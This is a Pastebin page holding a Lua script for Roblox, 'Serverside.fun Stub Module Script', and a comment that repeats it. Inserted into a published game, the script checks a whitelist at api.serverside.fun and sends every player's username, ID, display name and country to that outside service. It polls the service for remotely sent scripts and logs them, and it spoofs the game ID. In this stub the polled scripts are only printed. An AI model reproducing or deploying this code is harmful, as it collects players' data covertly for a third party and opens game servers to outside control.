Advertisement
darraghd493

Serverside.fun Stub Module Script

Jan 7th, 2024 (edited)
3,438
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.38 KB | Source Code | 0 0
  1. --[[
  2. How to use this:
  3.  - Fill out the settings (I suggest you leave SCRIPT_LOGGING on)
  4.  - Create a game with this inserted into it (must be published & running on Roblox, no studio)
  5.  - Done! :)
  6. ]]
  7.  
  8. -- Settings
  9. local WHITELIST_USERNAME = "" -- Roblox username (whitelisted)
  10. local WHITELIST_USER_ID = -1-- Roblox user id (whitelisted)
  11. local WHITELIST_GAME_ID = game.GameId -- Roblox game id (fakes what game your in)
  12. local SCRIPT_LOGGING = true -- Whether you want scripts executed to be logged to the serverside.fun (WARNING: POTENTIALLY DANGEROUS!)
  13.  
  14. -- Variables
  15. local GET_PLAYERS_URL = "https://api.serverside.fun/v1/get-players"
  16.  
  17. local LocalisationService = game:GetService("LocalizationService")
  18. local HttpService = game:GetService("HttpService")
  19. local Players = game:GetService("Players")
  20.  
  21. -- Stub
  22. local response = HttpService:GetAsync("https://api.serverside.fun/v1/check-whitelist/" .. WHITELIST_USER_ID .. "/" .. tostring(WHITELIST_GAME_ID))
  23. local user_data = HttpService:JSONDecode(response)
  24.  
  25. print(response) -- Used for testing (check output in server console)
  26.  
  27. if user_data.whitelisted ~= false then
  28.     local function getPlayerData()
  29.         local playerData = {}
  30.         for i, v in ipairs(Players:GetPlayers()) do
  31.             local country = "Unknown"
  32.             pcall(function()
  33.                 country = LocalisationService:GetCountryRegionForPlayerAsync(v)
  34.             end)
  35.             table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country})
  36.         end
  37.         return playerData
  38.     end
  39.  
  40.     local function postPlayerData()
  41.         task.wait(0.5)
  42.         if Players:FindFirstChild(WHITELIST_USERNAME) then
  43.             HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = WHITELIST_USER_ID}))
  44.         end
  45.     end
  46.  
  47.     local posted_removing_1 = true
  48.     local posted_removing_2 = false
  49.  
  50.     local function postPlayerRemovingData()
  51.         task.wait(1)
  52.         if Players:FindFirstChild(WHITELIST_USERNAME) and posted_removing_1 == true then
  53.             postPlayerData()
  54.         else
  55.             posted_removing_1 = false
  56.             if posted_removing_2 == false then
  57.                 HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = WHITELIST_USER_ID}))
  58.                 posted_removing_2 = true
  59.             end
  60.         end
  61.     end
  62.  
  63.     pcall(function()
  64.         postPlayerData()
  65.         Players.PlayerAdded:Connect(postPlayerData)
  66.         Players.PlayerRemoving:Connect(postPlayerRemovingData)
  67.     end)
  68.  
  69.     -- Premium script polling
  70.     if user_data.type ~= "NORMAL" then
  71.         pcall(function()
  72.             local premium_script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/private-scripts/" .. WHITELIST_USER_ID))
  73.             for i, v in ipairs(premium_script_poll_data.scripts) do
  74.                 pcall(function()
  75.                     if v == "r6()" then
  76.                         print("premium r6 stub (3436957371)")
  77.                     elseif v == "re()" then
  78.                         print("premium reset stub (load character)")
  79.                     elseif v:match("USERNAME") then
  80.                         print("premium hub/custom stub (" .. tostring(v) .. ")")
  81.                     else
  82.                         print("premium custom stub (" .. tostring(v) .. ")")
  83.                     end
  84.                 end)
  85.             end
  86.         end)
  87.     end
  88.  
  89.     -- Normal script polling
  90.     local script_poll_url = "https://api.serverside.fun/v1/long-polling/kkwAhfSFRnAyAoffQYNEEviBUAVs/" .. WHITELIST_USER_ID
  91.     while true do
  92.         local success, error = pcall(HttpService.GetAsync, HttpService, script_poll_url)
  93.         if success then
  94.             local success_2, error_2 = pcall(HttpService.JSONDecode, HttpService, error)
  95.             if success_2 then
  96.                 if error_2 and error_2["script"] then
  97.                     if Players:FindFirstChild(WHITELIST_USERNAME) then
  98.                         local polled_script = error_2["script"].script
  99.                         if WHITELIST_USER_ID == tonumber(error_2["script"].robloxId) then
  100.                             if polled_script == "r6()" then
  101.                                 print("r6 stub (3436957371)")
  102.                             elseif polled_script == "re()" then
  103.                                 print("reset stub (load character)")
  104.                             elseif polled_script:match("USERNAME") then
  105.                                 print("hub/custom stub (" .. tostring(polled_script) .. ")")
  106.                             else
  107.                                 print("custom stub (" .. tostring(polled_script) .. ")")
  108.                             end
  109.                             if SCRIPT_LOGGING then
  110.                                 pcall(function()
  111.                                     HttpService:PostAsync("https://api.serverside.fun/v1/script-logs", HttpService:JSONEncode({
  112.                                         ["script"] = polled_script,
  113.                                         ["robloxId"] = tostring(WHITELIST_USER_ID),
  114.                                         ["gameId"] = tostring(WHITELIST_GAME_ID)
  115.                                     }))
  116.                                 end)
  117.                             end
  118.                         end
  119.                     end
  120.                 end
  121.             end
  122.         end
  123.         task.wait()
  124.     end
  125. end
  126.  
Advertisement
Comments
  • Mulpan6913
    328 days
    # text 4.38 KB | 0 0
    1. --[[
    2. How to use this:
    3. - Fill out the settings (I suggest you leave SCRIPT_LOGGING on)
    4. - Create a game with this inserted into it (must be published & running on Roblox, no studio)
    5. - Done! :)
    6. ]]
    7.  
    8. -- Settings
    9. local WHITELIST_USERNAME = "" -- Roblox username (whitelisted)
    10. local WHITELIST_USER_ID = -1-- Roblox user id (whitelisted)
    11. local WHITELIST_GAME_ID = game.GameId -- Roblox game id (fakes what game your in)
    12. local SCRIPT_LOGGING = true -- Whether you want scripts executed to be logged to the serverside.fun (WARNING: POTENTIALLY DANGEROUS!)
    13.  
    14. -- Variables
    15. local GET_PLAYERS_URL = "https://api.serverside.fun/v1/get-players"
    16.  
    17. local LocalisationService = game:GetService("LocalizationService")
    18. local HttpService = game:GetService("HttpService")
    19. local Players = game:GetService("Players")
    20.  
    21. -- Stub
    22. local response = HttpService:GetAsync("https://api.serverside.fun/v1/check-whitelist/" .. WHITELIST_USER_ID .. "/" .. tostring(WHITELIST_GAME_ID))
    23. local user_data = HttpService:JSONDecode(response)
    24.  
    25. print(response) -- Used for testing (check output in server console)
    26.  
    27. if user_data.whitelisted ~= false then
    28. local function getPlayerData()
    29. local playerData = {}
    30. for i, v in ipairs(Players:GetPlayers()) do
    31. local country = "Unknown"
    32. pcall(function()
    33. country = LocalisationService:GetCountryRegionForPlayerAsync(v)
    34. end)
    35. table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country})
    36. end
    37. return playerData
    38. end
    39.  
    40. local function postPlayerData()
    41. task.wait(0.5)
    42. if Players:FindFirstChild(WHITELIST_USERNAME) then
    43. HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = WHITELIST_USER_ID}))
    44. end
    45. end
    46.  
    47. local posted_removing_1 = true
    48. local posted_removing_2 = false
    49.  
    50. local function postPlayerRemovingData()
    51. task.wait(1)
    52. if Players:FindFirstChild(WHITELIST_USERNAME) and posted_removing_1 == true then
    53. postPlayerData()
    54. else
    55. posted_removing_1 = false
    56. if posted_removing_2 == false then
    57. HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = WHITELIST_USER_ID}))
    58. posted_removing_2 = true
    59. end
    60. end
    61. end
    62.  
    63. pcall(function()
    64. postPlayerData()
    65. Players.PlayerAdded:Connect(postPlayerData)
    66. Players.PlayerRemoving:Connect(postPlayerRemovingData)
    67. end)
    68.  
    69. -- Premium script polling
    70. if user_data.type ~= "NORMAL" then
    71. pcall(function()
    72. local premium_script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/private-scripts/" .. WHITELIST_USER_ID))
    73. for i, v in ipairs(premium_script_poll_data.scripts) do
    74. pcall(function()
    75. if v == "r6()" then
    76. print("premium r6 stub (3436957371)")
    77. elseif v == "re()" then
    78. print("premium reset stub (load character)")
    79. elseif v:match("USERNAME") then
    80. print("premium hub/custom stub (" .. tostring(v) .. ")")
    81. else
    82. print("premium custom stub (" .. tostring(v) .. ")")
    83. end
    84. end)
    85. end
    86. end)
    87. end
    88.  
    89. -- Normal script polling
    90. local script_poll_url = "https://api.serverside.fun/v1/long-polling/kkwAhfSFRnAyAoffQYNEEviBUAVs/" .. WHITELIST_USER_ID
    91. while true do
    92. local success, error = pcall(HttpService.GetAsync, HttpService, script_poll_url)
    93. if success then
    94. local success_2, error_2 = pcall(HttpService.JSONDecode, HttpService, error)
    95. if success_2 then
    96. if error_2 and error_2["script"] then
    97. if Players:FindFirstChild(WHITELIST_USERNAME) then
    98. local polled_script = error_2["script"].script
    99. if WHITELIST_USER_ID == tonumber(error_2["script"].robloxId) then
    100. if polled_script == "r6()" then
    101. print("r6 stub (3436957371)")
    102. elseif polled_script == "re()" then
    103. print("reset stub (load character)")
    104. elseif polled_script:match("USERNAME") then
    105. print("hub/custom stub (" .. tostring(polled_script) .. ")")
    106. else
    107. print("custom stub (" .. tostring(polled_script) .. ")")
    108. end
    109. if SCRIPT_LOGGING then
    110. pcall(function()
    111. HttpService:PostAsync("https://api.serverside.fun/v1/script-logs", HttpService:JSONEncode({
    112. ["script"] = polled_script,
    113. ["robloxId"] = tostring(WHITELIST_USER_ID),
    114. ["gameId"] = tostring(WHITELIST_GAME_ID)
    115. }))
    116. end)
    117. end
    118. end
    119. end
    120. end
    121. end
    122. end
    123. task.wait()
    124. end
    125. end
    126.  
Add Comment
Please, Sign In to add comment
Advertisement